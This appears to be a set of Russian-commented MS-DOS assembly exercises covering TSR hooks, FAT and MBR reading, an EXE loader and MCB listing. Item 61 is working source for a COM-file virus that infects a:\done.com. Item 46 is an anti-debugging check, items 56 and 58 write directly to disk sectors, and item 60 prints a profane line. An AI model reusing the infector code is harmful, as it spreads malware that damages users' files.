cmp ah, 30h ;SCAN code 'B'

je ctrl_b

cmp ah, 10h ;SCAN code 'Q'

je ctrl_q

pop ds

iret

ctrl_q:

push ax

push dx

push cs

pop ax

mov ds, ax

mov es, ax

lea dx, msg3

mov ah, 09h

int 21h

mov dx, cs:old_int16h ;установить старый вектор

mov ds, cs:old_int16h+2

mov ax, 2516h

int 21h

mov ah, 49h ;free memory

int 21h

pop dx

jmp short return

ctrl_b:

push cs

pop ds

push ax

push dx

lea dx, msg4

mov ah, 09h

int 21h

pop dx

return:

pop ax

pop ds

iret

int_16h endp

install:

mov ax, 5048h ;проверка на повторный запуск

int 16h

cmp bx, ax

je exit

mov dx, offset msg1

mov ah, 09h

int 21h

mov ax, 3516h ;вектор Int16

int 21h

mov word ptr old_int16h, bx

mov word ptr old_int16h+2, es

mov dx, offset int_16h ;мой обработчик

mov ah, 25h ;установить вектор

int 21h

mov dx, offset install

int 27h ;остаться резидентной

exit:

mov dx, offset msg2

mov ah, 09h

int 21h

mov ax, 4c00h

int 21h

codesg ends

end start

46 ;Проверка работы под дебаггером через регистр флагов

model Tiny

Jumps

CodeSeg

Org 100h

Say MACRO Message_Addr

lea dx,&Message_Addr

mov ah,9

int 21h

endm

Start: jmp Begin

Debug db 'Debugger on line',13,10,'$'

NoDeb db 'Debugger off line',13,10,'$'

Begin:

push ss

pop ss

pushf

xor ax,ax

pop ax

xor bx,bx

mov bx,ax

and bx,0000000100000000b

cmp bx,0

je NoDebugger

Say Debug

jmp Quit

NoDebugger:

Say NoDeb

Quit: mov ah,4Ch

int 21h

end Start

47;Программа, считающая число удаленных каталогов в корневом каталоге

text segment

assume cs:text

start:

push seg data

pop ds

xor ax,ax

mov cx,14

mov dx,19

xor bx,bx

int 25h

popf

xor si,si ;0Bh

mov cx,224

Loop1:

cmp byte ptr ds:[si],0E5h

jnz lab1

cmp byte ptr ds:[11],10000b

jnz lab1

inc byte ptr cs:Count

lab1:

mov ax,ds

add ax,2

mov ds,ax

loop Loop1

mov ax,4C00h

int 21h

Count db 0

text ends

data segment

buffer db 14*256 dup (0)

data ends

end start

48;Программа, считающая число удаленных файлов в корневом каталоге

text segment

assume cs:text

start:

push seg data

pop ds

xor ax,ax

mov cx,14

mov dx,19

xor bx,bx

int 25h

popf

xor si,si ;0Bh

mov cx,224

Loop1:

cmp byte ptr ds:[si],0E5h

jnz lab1

cmp byte ptr ds:[11],10000b

jz lab1

inc byte ptr cs:Count

lab1:

mov ax,ds

add ax,2

mov ds,ax

loop Loop1

mov ax,4C00h

int 21h

Count db 0

text ends

data segment

buffer db 14*256 dup (0)

data ends

end start

49;Прочитать FAT дискеты в ОЗУ, выделив память динамически

text segment 'CODE'

assume cs:text;,ds:data

MAIN PROC far

mov ax,es

mov bx,zz

sub bx,ax

mov ah,4Ah ;Сжали блок памяти программы

int 21h

mov bx,144 ;число параграфов, требуемое для размещения FAT

mov ah,48h ;выделили память для FAT

int 21h

mov ds,ax ;в ds - адрес блока памяти программы

MOV AL,00h ;номер дисковода 0=А, 1=В

MOV CX,09H ;Число секторов для чтения

MOV DX,01h ;Номер первого сектора для чтения

xor bX,bx ;Смещение в блоке - 0

INT 25H ;Чтение секторов в буфер

popf

exit:

push ds

mov bx,es

pop es

mov ah,49h

int 21h ;Освобождаем память

mov es,bx

mov ah,4ch

int 21h

MAIN ENDP

text ends

zz segment

zz ends

end

50;Программа, считающая число незанятых элементов корневого каталога

text segment

assume cs:text

start:

push seg data

pop ds

xor ax,ax

mov cx,14

mov dx,19

xor bx,bx

int 25h

popf

xor si,si ;0Bh

mov cx,224

Loop1:

cmp byte ptr ds:[si],0

jnz lab1

inc byte ptr cs:Count

lab1:

mov ax,ds

add ax,2

mov ds,ax

loop Loop1

mov ax,4C00h

int 21h

Count db 0

text ends

data segment

buffer db 14*256 dup (0)

data ends

end start

51;Посчитать количество свободных кластеров дискеты

bufLen = (9*512)/2

text segment 'CODE'

assume cs:text,ds:data

MAIN PROC far

MOV AL,00h ;drive number

MOV AH,00H

MOV CX,09H ;number of sectors to reading

MOV DX,01h ;first sector number

MOV BX,SEG fatBuf

MOV DS,BX

mov BX,offset fatBuf

INT 25H ;reading FAT in buf

popf

call FreeNumb

exit:

mov ah,4ch

int 21h

MAIN ENDP

GetFatElement PROC ;return in CurCluster content of FAT field

mov bx,offset fatBuf

mov ax,CurCluster

shl ax,1 ;cluster * 2

add ax,CurCluster ;cluster * 3

test ax,1

pushf

shr ax,1 ;cluster * 1.5

add bx,ax

mov ax,[bx]

popf

jz B1

mov cl,4 ;multiply is not an integer

shr ax,cl

jmp B2

B1: and ax,0fffh ;multiply is an integer

B2: mov CurCluster,ax

ret

GetFatElement ENDP

FreeNumb PROC

mov cx,bufLen

start:

mov ax,CurCluster

mov saveCluster,ax

push cx

call GetFatElement

cmp CurCluster,0

jne @a1

mov ax,saveCluster

inc NumbFree

; call outpt

@a1:

pop cx

mov ax,saveCluster

mov CurCluster,ax

inc CurCluster

loop start

ret

FreeNumb ENDP

outpt proc near; output AX to screen

mov @,0h

xor dx,dx

mov bx,10

C3:

div bx

push dx

sub dx,dx

inc @

cmp ax,0

jne C3

mov cx,word ptr @

mov ch,0h

C4:

pop dx

add dl,30h

mov ah,02h

int 21h

loop C4

mov dl,' '

mov ah,02h

int 21h

RET

outpt endp

text ends

data segment

@ dw 00h

fatBuf dw bufLen DUP(0)

CurCluster dw 2

saveCluster dw 0

NumbFree dw 0

data ends

end

52 Загрузить .EXE программу и настроить ее по месту

в памяти (не используя функцию Int 21h Fn 4Bh).

codesg segment

assume cs:codesg, ds:codesg, es:codesg, ss:codesg

org 100h

start:

cmp byte ptr ds:[80h],0

je _err

mov bx,82h

_loop01:

mov al,ds:[bx]

cmp al,20h

je _loop00

cmp al,0dh

je _loop00

or al,al

je _loop00

inc bx

dec byte ptr ds:[80h]

jmp _loop01

_loop00:

mov dx,cs

mov es,dx

mov si,bx

mov di,offset _cmdln

xor cx,cx

mov cl,byte ptr ds:[80h]

mov byte ptr es:[_lncmd],cl

rep movsb

xor cl,cl

xchg ds:[bx],cl

; cmp cl,0dh

mov ax,3d00h

mov dx,0082h

int 21h

jc _err

xchg ds:[bx],cl

mov dx,cs

mov ds,dx

mov word ptr ds:[offset _handle], ax

mov bx,ax

mov ax,3f00h

mov cx,001ch

mov dx,offset _hndl

int 21h

jc _err

mov ax,4201h

mov bx,word ptr ds:[offset _handle]

xor cx,cx

mov dx,word ptr ds:[offset _TabOff]

sub dx,001ch

int 21h

mov ax,3f00h

mov bx,word ptr ds:[offset _handle]

mov cx,ds:[offset _HdrSz]

shl cx,4

sub cx,001ch

mov dx,offset _Table

int 21h

jc _err

mov ax,offset _Table

mov cx,ds:[offset _HdrSz]

shl cx,4

sub cx,001ch

add ax,cx

mov bx,ax

shr bx,4

and ax,000fh

je _loop03

inc bx

_loop03:

mov ax,4a00h

int 21h

jc _err

mov ax,5a4dh

cmp ds:[_MZ],ax

jne _err

mov bx,ds:[offset _PgCnt]

dec bx

shl bx,1

xchg bh,bl

mov cx,ds:[offset _PartPg]

add bx,cx

mov cx,ds:[offset _HdrSz]

shl cx,4

sub bx,cx

mov ds:[offset _Exelen],bx

mov cx,bx

shr bx,4

and cx,000fh

je _loop02

inc bx

_loop02:

add bx,0010h

mov ax,4800h

int 21h

jc _err

mov es,ax

mov dx,ax

mov ax,2600h

int 21h

mov di,0080h

mov si,offset _lncmd

mov cx,80h

rep movsb

mov ax,4200h

mov bx,ds:[offset _handle]

xor cx,cx

mov dx,ds:[offset _HdrSz]

mov cl,dh

shl dx,4

shr cx,4

int 21h

mov ax,3f00h

mov bx,ds:[offset _handle]

mov cx,ds:[offset _Exelen]

mov dx,0100h

mov si,es

mov ds,si

int 21h

mov bx,word ptr cs:[offset _RlCnt]

_loop05:

and bx,bx

jz _loop04

dec bx

push bx

shl bx,2

mov cx,word ptr cs:[offset _Table+bx]

mov dx,word ptr cs:[offset _Table+bx+2]

mov bx,cx

mov ax,es

mov cx,ax

add ax,dx

mov es,ax

mov ax,ds

add ax,0010h

add word ptr es:[bx+0100h],ax

mov es,cx

pop bx

jmp _loop05

_loop04:

mov ax,3e00h

mov bx,ds:[offset _handle]

int 21h

mov ax,word ptr cs:[offset _ReloSS]

mov bx,word ptr cs:[offset _ReloCS]

mov cx,word ptr cs:[offset _ExeSP]

mov dx,ds

add dx,0010h

add ax,dx

add bx,dx

mov ss,ax

mov sp,cx

mov ax,word ptr cs:[offset _ExeIP]

mov word ptr cs:[offset _Jump],ax

mov word ptr cs:[offset _Jump+0002h],bx

jmp dword ptr cs:[offset _Jump]

; mov ax,4900h

; int 21h

; mov ax,4c00h

; int 21h

_err: mov ax,cs

mov ds,ax

mov dx,[offset _msg1]

mov ax,0900h

int 21h

mov ax,4c00h

int 21h

_msg1 db 'Произошла ошибка!', 0ah, 0dh, '$'

_Jump dw 0000h, 0000h

_lncmd db 0

_cmdln db 7fh dup(0)

_handle dw 0

_hndl:

_MZ dw 0 ;'MZ'

_PartPg dw 0 ;PartPage

_PgCnt dw 0 ;PageCount

_RlCnt dw 0 ;ReloCount

_HdrSz dw 0 ;HeaderSize

_MinMem dw 0 ;MinMem

_MaxMem dw 0 ;MaxMem

_ReloSS dw 0 ;ReloSS

_ExeSP dw 0 ;ExeSP

_ChckSm dw 0 ;CheckSum

_ExeIP dw 0 ;ExeIP

_ReloCS dw 0 ;ReloCS

_TabOff dw 0 ;TabbleOffset

_Overl dw 0 ;Overlay

_Exelen dw 0

_Table dd 0

codesg ends

end start

53.Разработать программу, выполняющую ввод опций из командной строки:

I#if#include<строка>.

Текст программы:

model tiny

Jumps

codeseg

org 100h

start:jmp begin

err1 db 13,10,'Найдена не правильная опция',13,10,'$'

err11 db 13,10,'Не найдена опция 1',13,10,'$'

err2 db 13,10,'Использован неправильный разделитель',13,10,'$'

err3 db 13,10,'Нет опций',13,10,'$'

opt1 db 13,10,'Найдена опция i',13,10,'$'

opt2 db 13,10,'Найдена опция fy',13,10,'$'

opt3 db 13,10,'Найдена опция include',13,10,'$'

nets db 13,10,'нет параметров у include',13,10,'$'

odd db 0

say macro mes

lea dx,&mes

mov ah,9

int 21h

endm

begin:

mov di,80h

mov cl,[di]

cmp cl,1

jle vizout1

tst11:

inc di

dec cl

jz bed1

mov al,byte ptr [di]

mov ah,'#'

cmp al,ah

jnz tst11

dec di

mov ah,[di]

cmp ah,'i'

jne nxt

say opt1

mov ah,[di+2]

cmp ah,'f'

jne nxt

mov ah,[di+3]

cmp ah,'y'

jne nxt

say opt2

mov ah,[di+4]

cmp ah,'#'

jne notrazd

jmp iii

vizout1:jmp vizout

ext1:jmp ext

bed1:jmp bed11

iii:

mov ah,[di+5]

cmp ah,'i'

jne nxt

mov ah,[di+6]

cmp ah,'n'

jne nxt

mov ah,[di+7]

cmp ah,'c'

jne nxt

mov ah,[di+8]

cmp ah,'l'

jne nxt

mov ah,[di+9]

cmp ah,'u'

jne nxt

mov ah,[di+10]

cmp ah,'d'

jne nxt

mov ah,[di+11]

cmp ah,'e'

jne nxt

say opt3

add di,12

sub cl,13

cmp cl,0

jle netslov

povt: mov ah,[di]

mov odd,ah

say odd

inc di

dec cl

jz ext

jmp povt

nxt:

say err1

jmp ext

bed11:

say err11

jmp ext

vizout:

say err3

jmp ext

notrazd:

say err2

ext:

mov ax,4c00h

int 21h

netslov:

say nets

jmp ext

end start

При запуске программы без опций выдается сообщение

“нет опций”, при задании параметров выводится информация

о том, какие опции были найдены в командной строке.

54;* Вывести начальые адреса разделов жесткого диска

codesg segment para

assume cs:codesg, ds:codesg, ss:codesg

org 100h

.286

SetCur macro x, y

mov dh, y

mov dl, x

call Locate

endm

Print macro string

mov dx, offset string

mov ah, 09h

int 21h

endm

start:

mov ax, 0600h ;cls

mov bh, 07h

mov cx, 0000h

mov dx, 184fh

int 10h

mov bx, offset MBR

mov ax, 0201h ;прочитать сектор

mov cx, 01h

mov dx, 0080h ;диск C:

int 13h

jnc mbr_s

Print mbr_error

jmp exit

mbr_s:

cmp word ptr es:[bx+01feh], 0aa55h ;MBR signature

je work

Print aa55h_error

jmp exit

work:

SetCur 25, 5

Print tab_head

mov ch, 07

mov di, offset part1

lp1:

SetCur 13, ch

mov dx, di

mov ah, 09h

int 21h

inc ch

add di, 000bh

cmp ch, 11

jb lp1

mov di, bx

add di, 01beh ;первый раздел

mov ch, 7

lp2:

call PrnInfo

add di, 10h

inc ch

cmp ch, 11

jb lp2

exit:

mov ax, 4c00h

int 21h

PrnInfo proc near

push di

push ax

inc di

mov al, byte ptr es:[di] ;begin head

xor ah, ah

call Convert

SetCur 28, ch

Print result

inc di

mov ax, word ptr es:[di]

push ax

xchg ah, al

shr ah, 6 ;AX - cylindr

call Convert

SetCur 35, ch

Print result

pop ax

and ax, 003fh ;AX - sector

call Convert

SetCur 43, ch

Print result

pop ax

pop di

ret

endp

Locate proc near

push ax

push bx

mov ah, 02h

xor bh, bh

int 10h

pop bx

pop ax

ret

Locate endp

Convert proc near

;переводит содерживое AX в ASCII$ строку

push ax

push bx

push cx

push dx

push di

push si

lea di, result

lea si, temp1

xor cx, cx

mov bx, 000ah

cnv_lp1:

xor dx, dx

div bx

add dx, 30h

mov [si], dl

inc si

inc cx

cmp ax, 0000h

jne cnv_lp1

dec si

std

cnv_lp2:

lodsb

mov [di], al

inc di

loop cnv_lp2

cld

mov byte ptr [di], '$'

pop si

pop di

pop dx

pop cx

pop bx

pop ax

ret

Convert endp

;-------------------

nl EQU 0dh, 0ah

mbr_error db nl, "MBR read error!$"

aa55h_error db nl, "MBR signature error!$"

tab_head db "Головка Цилиндр Сектор$"

part1 db "Раздел №1:$"

part2 db "Раздел №2:$"

part3 db "Раздел №3:$"

part4 db "Раздел №4:$"

temp1 db 5 dup(0)

result db 6 dup('$')

MBR db 512 dup('?')

;-------------------

codesg ends

end start

55 Вывести размер текущей программы в байтах (информацию взять из заголовка файла)

;Вывести размер текущей программы

;ProgSize = (PageCnt-1)*512 + PartPage - HdrSize*16

bufSize = 100

CODESG SEGMENT PARA 'CODE'

ASSUME CS:CODESG,DS:DATASG

BEGIN PROC FAR

PUSH DS

SUB AX,AX

PUSH AX

MOV AX,DATASG

MOV DS,AX

;ОТКРЫТЬ ФАЙЛ НА ЧТЕНИЕ

MOV AH,3DH

MOV AL,0

LEA DX,FN

INT 21H

MOV handle,AX

;УСТАНОВКА КУРСОРА НА НАЧАЛО Ф-ЛА

MOV AH,42H

MOV AL,00H

MOV BX,handle

MOV CX,0

MOV DX,0

INT 21H

;ЧТЕНИЕ ИЗ Ф-ЛА

MOV AH,3FH

MOV BX,handle

MOV CX,bufSize

MOV DX,OFFSET buf

INT 21H

;ЗАКРЫТЬ ФАЙЛ

MOV AH,3EH

MOV BX,handle

INT 21H

lea bx,buf

mov ax,[bx+2]

mov PartPage,ax

push bx

call vivod

pop bx

mov ax,[bx+4]

mov PageCnt,ax

push bx

call vivod

pop bx

mov ax,[bx+8]

mov HdrSize,ax

push bx

call vivod

pop bx

;РАСЧЕТ РАЗМЕРА ЗАГРУЖАЕМОЙ ЧАСТИ

;ProgSize = (PageCnt-1)*512 + PartPage - HdrSize*16

mov ax,PageCnt

dec ax

mov bx,512

mul bx

;--------------------------------------

add ax,PartPage

mov ProgSize,ax

mov ax,HdrSize

mov bx,16

mul bx

;--------------------------------------

sub ProgSize,ax

mov ax,ProgSize

call vivod

exit:

mov ax,4c01h

int 21h

BEGIN ENDP

VIVOD proc near

;ПРОЦЕДУРА ВЫВОДА НА ЭКРАН ЦЕЛОГО ЧИСЛА В РЕГИСТРЕ AX

mov @,0h

xor dx,dx

mov bx,10

C3:

div bx

push dx

sub dx,dx

inc @

cmp ax,0

jne C3

mov cx,word ptr @

mov ch,0h

C4:

pop dx

add dl,30h

mov ah,02h

int 21h

loop C4

mov dl,0ah

mov ah,02h

int 21h

mov dl,0dh

mov ah,02h

int 21h

RET

VIVOD endp

CODESG ENDS

DATASG SEGMENT PARA 'DATA'

fn db 'prg_size.exe',0

handle dw ? ;дескриптор файла

buf db bufSize DUP(' ') ;область размещения первых байт заголовка файла

PageCnt dw 0 ;длина загружаемой части в страницах, включая заголовок

PartPage dw 0 ;длина последней неполной страницы

HdrSize dw 0 ;размер заголовка в параграфах

ProgSize dw 0

@ dw 00h

DATASG ENDS

END BEGIN

56;передвинуть последний кластер файла

;работает с дискетой

;ошибки

;0-все в порядке

;1-нет имени файла,не могу открыть файл

;2-не правильный дескриптор файла

;3-не тот диск

;4-не могу прочитать кластер

;6-в цепочке BAD

;8-в файле один кластер

;7-не могу считать FAT

;0B-не правильный кластер

;9-не могу изменить FAT

;0А-не могу записать кластер

.286

;include user.inc

.com 16

org 80

how_bytes label byte

org 100

begin:

cld

xor cx,cx

mov cl,how_bytes

mov bp,1

jcxz exit1

mov di,81

call DEF_FILE

mov ax,3d00

int 21

jc exit1

mov di,18

add di,ax

mov cl,[di]

mov ah,52

int 21

lds di,es:[bx+4]

sft:

cmp cx,[di+4]

jb here

sub cx,[di+4]

lds di,[di]

mov bp,2

cmp di,0ffff

je exit1

jmps sft

here:

mov al,3bh

mul cl

add di,6

add di,ax

mov ax,[di+0bh]

mov cs:beg_clus,ax

lds si,[di+07]

mov bp,3

cmp bpt [si],2

jnb exit1

push cs

pop es

mov di,off dpb

mov cl,21

rep movsb

push cs

pop ds

mov ax,beg_clus

next_clus:

push cur

pop prev

mov cur,ax

call GET_VAL

jc exit1

mov bp,6

;;

jmps mer

exit1: jmp exit

mer:

;;

cmp ax,0ff7

je exit1

cmp ax,0fff

jne next_clus

mov bp,8

cmp prev,0

je exit1

;чтение конечного кластера

mov ax,cur

call CLUS_TO_SEC

mov dx,ax

xor ax,ax

mov al,sec_clus

inc ax

mov cx,ax

mov al,dsk

mov bx,byte_sec

add bx,off buffer

mov bp,4

int 25

pop ax

jc exit

;поиск свободного кластера

mov ax,cur

mov tested,ax

next_free:

inc tested

mov ax,tested

call GET_VAL

jc exit

or ax,ax

jnz next_free

;изменение fat

mov ax,cur

xor dx,dx

call SET_VAL

jc exit

mov ax,tested

mov dx,0fff

call SET_VAL

jc exit

mov dx,ax

mov ax,prev

call SET_VAL

jc exit

;запись в ранее свободный кластер

mov ax,tested

call CLUS_TO_SEC

mov dx,ax

xor cx,cx

mov cl,sec_clus

inc cx

mov al,dsk

mov bx,off buffer

add bx,byte_sec

mov bp,0a

int 26

pop ax

jc exit

normal_exit:

mov bp,0

exit:

mov ax,bp

call WORD_P

mov ax,4c00

int 21

prev dw 0

cur dw 0

tested dw 0

WORD_P proc

push cx

mov cx,0404

LLL: rol ax,cl

push ax

and al,0F

aam

aad

org $-1

db 11

add al,30

int 29

pop ax

dec ch

jnz LLL

pop cx

ret

endp

DEF_FILE proc

mov al,' '

repe scasb

mov dx,di

dec dx

repne scasb

jcxz cx_zer

dec di

cx_zer:

mov bpt [di],0

ret

endp

CLUS_TO_SEC proc

push bx

dec ax

dec ax

mov bl,sec_clus

inc bx

mul bl

add ax,data_sec

pop bx

ret

endp

SET_VAL proc

;ax=номер кластера

;dx=значение кластера

pusha

mov bx,dx

call LOAD_FAT

jc badset

mov si,dx

mov di,dx

lodsw

test flag,1

jz evenN1

oddN1:

mov cl,4

shl bx,cl

and ax,0f

jmps setting

evenN1:

and bh,0f

and ax,0f000

setting:

or ax,bx

stosw

SAVE_FAT:

mov al,dsk

mov cx,1

mov dx,cur_fat

mov bx,off buffer

mov bp,9

int 26

pop ax

badset:

popa

ret

endp

flag db 0

GET_VAL proc

;ax=номер кластера

push si

push cx

call LOAD_FAT

jc badget

mov si,dx

lodsw

test flag,1

jz evenN

oddN:

mov cl,4

shr ax,cl

jmps goodget

evenN:

and ah,0f

goodget:

clc

badget:

pop cx

pop si

ret

;ax=значение кластера в fat

endp

LOAD_FAT proc

;ax=номер кластера

push ax

push bx

push cx

and flag,0

test al,1

jz fl0

fl1: or flag,1

fl0: mov bx,3

mul bx

shr ax,1

mov bx,byte_sec

xor dx,dx

ncs:

cmp ax,bx

jb zero_

sub ax,bx

inc dx

jmps ncs

zero_:

xchg ax,dx

mov bp,0b

cmp ax,sec_fat

ja badload

add ax,res_sec

mov bx,off buffer

add dx,bx

cmp ax,cur_fat

je not_load

push ax

push dx

mov dx,ax

mov cx,1

mov al,dsk

mov bp,7

int 25

pop ax

pop dx

pop cur_fat

not_load:

pop cx

pop bx

pop ax

ret

badload:

stc

jmps not_load

;dx=смещение в текущем буфере

endp

cur_fat dw 0

beg_clus dw 0

lb equ label byte

lw equ label word

dpb label byte

;начало блока параметров диска

dsk lb

org dpb+2

byte_sec lw

org dpb+4

sec_clus lb

org dpb+6

res_sec lw

org dpb+0bh

data_sec lw

org dpb+0f

sec_fat dw 0

org dpb+1dh

free_clus lw

org dpb+21

buffer lb

end begin

57 Вывести блок переменных среды MS-DOS.

Program Segment para 'code'

Assume cs:Program,ds:Program

org 2Ch

EnvSeg Label word

org 100h

Start: mov ds,EnvSeg

xor si,si

cld

L00: lodsb

test al,al

jz Exit

int 29h

jmp short L00

Exit: mov al,[si]

test al,al

jnz L00

ret

Program Ends

End Start

58 Переписать последний кластер файла на свободное место (старый кластер освободить).

haw_sector macro cluster;вход-выход ax

mov ax,cluster

call _how_sector

endm

giv_cluster macro digit;ds:bx-адрес fat

push bx

mov ax,digit

call _cluster

pop bx

endm

write_cluster macro kuda,chto;ds:bx-адрес fat

local odd_cl,cont

push bx

mov ax,chto

push ax

mov ax,kuda

mov cx,ax

mov dx,ax

shr dx,1

add cx,dx

add bx,cx

mov dx,[bx]

test ax,1

jnz odd_cl

and dx,1111000000000000b

pop ax

jmp cont

odd_cl: and dx,0000000000001111b

pop ax

mov cl,4

shl ax,cl

cont: or dx,ax

mov [bx],dx

pop bx

endm

print macro string

mov ah,09h

mov dx,offset string

int 21h

endm

Title first

.model small

.code

org 100h

start:jmp begin

fcb db 1,'file txt',25 dup (0)

eror db 'Ошибка!',10,13,'$'

prev_first dw 0

prev_second dw 0

prev_free dw 0

end_cluster dw 0

beg_sector dw 0

offset_claster dw 0

mes db 'ЭТОТ КЛАСТЕР БЫЛ ПОСЛЕДНИМ'

buf db 512 dup (0)

begin:

mov ah,11h

lea dx,fcb

int 21h

jnc cont0

_eror: print eror

int 20h

cont0: mov ax,es:9bh;начальный кластер

push ax;начальный кластер

mov prev_first,ax;начальный кластер

mov prev_free,ax ;начальный кластер

call _how_sector

mov beg_sector,ax

lea bx,buf

mov dx,ax;начальный сектор

mov cx,1

xor ax,ax

int 25h

pop cx

jc _eror

pop dx ;начальный кластер

do: giv_cluster dx

mov end_cluster,dx

cmp dx,0ff7h

jge go

mov ax,prev_first

mov prev_second,ax

mov prev_first,dx;адрес последнего в prev_first

mov prev_free,dx

jmp do

go: mov ax,prev_first

inc ax

mov prev_free,ax ;свободный кластер в prev_free

giv_cluster ax

cmp dx,00h

jne go

write_cluster prev_second,prev_free

write_cluster prev_free,end_cluster

write_cluster prev_first,0000h

lea bx,buf

mov dx,beg_sector;начальный сектор

mov cx,1

xor ax,ax

int 26h

pop cx

jnc cont1

eror_: print eror

int 20h

cont1:

lea bx,buf

mov dx,0

mov cx,1

xor ax,ax

int 25h

pop cx

jc eror_

mov ax,32

mov dx,[bx]+11h

mul dx

mov cx,[bx]+0bh

div cx

push ax

mov ax,[bx]+16h

xor cx,cx

mov cl,[bx]+10h

mul cx

mov dx,[bx]+0eh

add ax,dx

pop dx

add ax,dx

sub ax,2

mov offset_claster,ax

lea bx,buf

mov dx,prev_first

add dx,offset_claster

mov cx,1

xor ax,ax

int 25h

pop cx

jc eror_

lea bx,buf

mov dx,prev_free

add dx,offset_claster

mov cx,1

xor ax,ax

int 26h

pop cx

jc eror_

lea bx,buf

mov di,bx

lea si,mes

mov cx,26

rep movsb

xor ax,ax

mov si,26

cycl: mov [bx+si],al

inc si

cmp si,512

jnge cycl

mov dx,prev_first

add dx,offset_claster

mov cx,1

xor ax,ax

int 26h

pop cx

int 20h

_how_sector proc near

push bx

push cx

push dx

mov cx,512

mov bx,ax

sub bx,cx

cmp bx,cx

jge div_

xor ax,ax

cmp bx,0

jnge exit

inc ax

jmp exit

div_: xor dx,dx

div cx

cmp dx,1

jnge exit

inc ax

exit: inc ax

pop dx

pop cx

pop bx

ret

endp

_cluster proc near

mov cx,ax

mov dx,ax

shr dx,1

add cx,dx

add bx,cx

mov dx,[bx]

test ax,1

jnz odd_cl

and dx,0000111111111111b

jmp cont

odd_cl: mov cl,4

shr dx,cl

cont: ret

endp

end start

59 Загрузить оверлей и передать ему управление. Оверлей имеет две точки входа.

.model tiny

.code

org 100h

begin:

mov ax,ds

mov bx,20h

add ax,bx

mov word ptr ovdat,ax

mov ax,4b03h

push ds

pop es

lea bx,ovdat

lea dx,ovname

int 21h

mov ax,word ptr ovdat

mov es,ax

call overdat

call overdat+50h

int 20h

ovdat: dw 0

dw 0

ovname: db 'overlay.ovr',0

org 200h

overdat:db 256 dup (0ffh)

end begin

Overlay.asm

.model tiny

.code

org 100h

begin:

lea dx,mes1

mov ah,9

int 21h

ret

mes1: db "Точка входа 1",10,13,"$"

org 150h

lea dx,mes2

mov ah,9

int 21h

ret

mes2: db "Точка входа 2",10,13,"$"

end begin

60 ;Вывод строки в определенное время

Model Tiny

CodeSeg

Org 100h

Start:

jmp Init

Mess db 'Пиздец пришел уже!!!',10,13,'$'

S_Time dw 1020h

Init:

mov ah,2Ch

int 21h

cmp cx,S_Time

jne Init

mov ah,9h

lea dx,Mess

int 21h

mov ah,4Ch

int 21h

end Start

61 вирус

Model tiny

CodeSeg

Org 100h

start:

lea bx,Last

add bx,100h

shr bx,4

mov ah,4Ah ;сжать блок

int 21h

mov bx,1000h

mov ah,48h ;выделить блок

int 21h

mov es,ax

lea dx,FilName

mov ax,3D02h ;открыть файл

int 21h

mov bx,ax ;запоминаем дескриптор

push ds

push es

pop ds

xor dx,dx

mov cx,0FFFFh

mov ah,3Fh ;Читать из файла

int 21h

pop ds

mov cx,es:0

mov word ptr Buffer,cx

mov cx,es:2

mov word ptr Buffer[2],cx

mov byte ptr es:0,0E9h ;Код команды jmp

mov si,ax

sub si,3

mov word ptr es:1,si

add si,3

push bx

lea bx,L1+2 ;Настройка первого элемента

mov [bx],al

lea bx,L2+1 ;Настройка второго элемента

push ax

add ax,31+100h

mov [bx],ax

pop ax

lea bx,L3+1 ;Настройка возврата

mov cx,offset L3 - offset Virus + 3

add cx,ax

xor di,di

sub di,cx

mov [bx],di

lea bx,Virus

mov cx,70

xor di,di

Loop1:

mov dx,ds:[bx+di]

mov byte ptr es:si,dx

inc si

inc di

loop Loop1 ;Цикл копирования вируса в программу

pop bx

xor cx,cx

xor dx,dx

mov ax,4200h

int 21h

mov ah,40h

mov cx,si

push ds

push es

pop ds

xor dx,dx

int 21h

pop ds

exit:

mov ah,49h ;освободить блок

int 21h

exiterr:

mov ah,4Ch

int 21h

Virus:

mov ah,9

mov dx,35+100h

L1:

add dx,0 ;Уже скорректировано!

int 21h

mov si,100h

L2:

mov bx,00 ;Смещение буфера в новой программе. done

mov cx,[bx]

mov cs:si,cx

mov cx,[bx+2]

mov cs:si+2,cx

L3: db 0E9h,0,0 ;jmp start

Buffer dd ?

Mess db 'Привет всем, я злобный вирус!',10,13,'$'

FilName db 'a:\done.com',0

Last:

end start

62; Программа определения сегментных адресов блоков памяти, принадлежащих

DOS.(программа выводящая MCB)

include user.inc

.com 16

org 100

begin:

mov ah,4a

mov bx,(razm+40f)/10

int 21

mov sp,razm+400

mov bp,off stroka

;вывести заголовок

call print

mov di,bp

mov cx,len

mov al,' '

rep stosb

inc bp

mov ah,52

;получить дрес списка списков

int 21

;взять адрес первого MCB

mov ax,es:[bx-2]

push cs

pop es

mov adr,ax

new_mcb:

mov ds,adr

xor si,si

mov di,off buf

push di

mov cx,10

cld

rep movsb

push cs

pop ds

pop si

push si

mov di,bp

lodsb

;вывести маркер

int 29

scasw

scasb

inc adr

mov ax,adr

push ax

;вывести адрес блока

call word_s

scasw

lodsw

push ax

;вывести адрес хозяина

or ax,ax

jz free_block

call word_s

cont1:

scasw

lodsw

add adr,ax

;вывести размер блока

call word_s

scasb

lodsw

lodsb

mov cl,8

;вывести имя программы

pop bx

pop dx

cmp bx,dx

jne it_s_not_programm

push di

push cx

mov di,si

mov al,0

repne scasb

jne cont3

inc cx

cont3:

push cx

dec di

mov al,' '

rep stosb

pop bx

pop cx

sub cx,bx

pop di

rep movsb

cont2:

mov di,bp

;вывести строку

call print

pop si

lodsb

;проверить это был последний блок

cmp al,4dh

je new_mcb

mov ax,4c00

int 21

_free db 'Free'

free_block:

mov cl,4

push si

mov si,off _free

rep movsb

pop si

jmps cont1

it_s_not_programm:

mov al,' '

rep stosb

jmps cont2

WORD_s proc

push cx

mov cx,0404

LLL: rol ax,cl

push ax

and al,0F

aam

aad

org $-1

db 11

add al,30

stosb

pop ax

dec ch

jnz LLL

pop cx

ret

endp

print proc

pusha

mov dx,bp

mov ah,9

int 21

popa

ret

endp

adr dw 0

stroka db 'M Address Owner Size NameProg',eos

len = $-stroka-3

buf label byte

razm = $-begin+100

end begin

63.Программа выводящая блок переменных среды MS DOS

code segment

assume ss:code,cs:code,ds:code,es:code

org 100h

_begin:

mov bx,0

mov cx,code

mov bp,0

mov ds,[es:2ch]

_loop:

mov ax,[ds:bx]

and ax,ax

jz _end

and al,al

jz _endline

inc bx

jmp _loop

_endline:

mov al,24h

xchg byte ptr [ds:bx],al

call _print

xchg byte ptr [ds:bx],al

inc bx

mov bp,bx

jmp _loop

_end:

mov ax,4c00h

int 21h

_print:

push ax

mov ax,0900h

mov dx,bp

int 21h

mov ax,0900h

mov dx,offset _temp

push ds

mov ds,cx

